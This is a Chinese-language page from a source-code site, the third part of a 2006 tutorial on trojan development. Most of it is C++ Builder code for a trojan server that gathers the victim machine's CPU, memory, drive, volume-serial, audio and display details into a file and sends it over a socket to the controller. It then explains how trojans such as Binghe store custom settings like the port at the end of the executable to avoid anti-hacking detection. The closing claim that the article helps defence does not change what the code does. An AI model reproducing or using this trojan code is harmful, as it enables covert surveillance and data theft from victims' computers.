首 页
┆
源码下载
┆
IT学院
┆
字体下载
┆
模板下载
┆
源码发布
┆
广告合作
┆
网站地图
┆
虚拟主机
┆
中文域名
►
设为首页
►
加入收藏
►
联系我们
源码下载
>>
ASP源码
|
PHP源码
|
ASP.net源码
|
JSP源码
|
CGI源码
|
VC/C++源码
|
VB源码
|
Delphi源码
|
Flash源码
文章学院
>>
网络编程
|
网页设计
|
图形图象
|
数据库
|
服务器
|
网络媒体
|
网络安全
|
操作系统
|
办公软件
|
软件开发
|
黑客知识
字体下载
>>
精制字体
|
非英字体
|
艺术字体
|
著名字体
|
哥特式
|
简单字体
|
手写体
|
节假日
|
图案字体
|
精度像素
|
中文字体
模板下载
>>
企业门户
|
数码网络
|
休闲娱乐
|
影视音乐
|
旅游名胜
|
文化艺术
|
电子商务
|
个性展示
|
登陆导航
|
Flash模板
源码搜索
文章搜索
字体搜索
模板搜索
►►
您当前的位置:
源码园
→
IT学院
→
黑客知识
→
黑客进阶
→ 文章内容
透视木马程序开发技术(下)--透视,木马,程序,开发技术
作者:佚名 来源:网上收集 发布时间:2006-7-14 23:09:32
6、目标机器情况的获取
相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取
机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。
AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
//TODO: Add your source code here
//获得CPU型号
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—CD-ROM、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁
盘类型
if(type==0){
cs="未知类型磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==2){
cs="可移动类型磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==3){
cs="固定磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==4) {
cs="网络映射磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==5) {
cs="光驱:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==6) {
cs="内存虚拟磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,25
5,&sno,&maxl,&fileflag,filename,100)) {
cs=String(name)+"盘卷标为:"+String(volname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+"盘序号为:"+String(sno)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte
,&free,&cluster); //获得返回参数
totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
freespace=int(free)*byte*sector/1024/1024; //计算可用空间
cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalsp
ace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(frees
pace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
}
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
cs="当前波形设备:"+String(wavecap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if (mididevice!=0){
midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
cs="当前MIDI设备:"+String(midicap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)
+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //计算色深
AnsiString sss;
sss=bpp;
cs="当前色深为:"+sss+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
sock->SendStream(ms);
}
catch(Exception&e) {
}
}
上面一段程序,基本上把相关的系统信息都取到了。
7、服务器端程序的包装与加密
用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑
程序检测出来,这种功能是如何实现的呢?
首先让我们来做一个实验:
进入Windows的命令行模式下做如下操作
1)C:\>copy Server.Exe Server.Bak
2)建立一个文本文件Test.Txt,其内容为“
http://www.patching.net
”
3)C:\>type Text.Txt>>Server.Exe
4)运行Server.Exe
怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里
:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件
的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,
然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一
些文件打包程序代码,它所使用的技术是大同小异的。
8、总结
以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器
列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的
日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根
本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您
一些反黑技术上的帮助。
[] [
返回上一页
] [
打 印
]
上一篇文章:
log增量备份的原理--log,增量备份,原理
下一篇文章:
透视木马程序开发技术(中)--透视,木马,程序,开发技术
相关文章:
2004开发技术年度综述之Java世界
透视木马程序开发技术(上)--透视,木马,程序,开发技...
透视木马程序开发技术(中)--透视,木马,程序,开发技...
透视木马程序开发技术(下)--透视,木马,程序,开发技术...
Linux下mSQL数据库开发技术
Linux下mySQL数据库开发技术
JSP的特点和其它动态网页开发技术比较
J2EE Web开发技术期待一次新的技术变革
关于本站
-
网站帮助
-
广告合作
-
下载声明
-
友情连接
-
网站地图
-
源码发布
Copyright © 2003-2009
Ymyasp
.Com
. All Rights Reserved .
备案序号:粤ICP备07029071号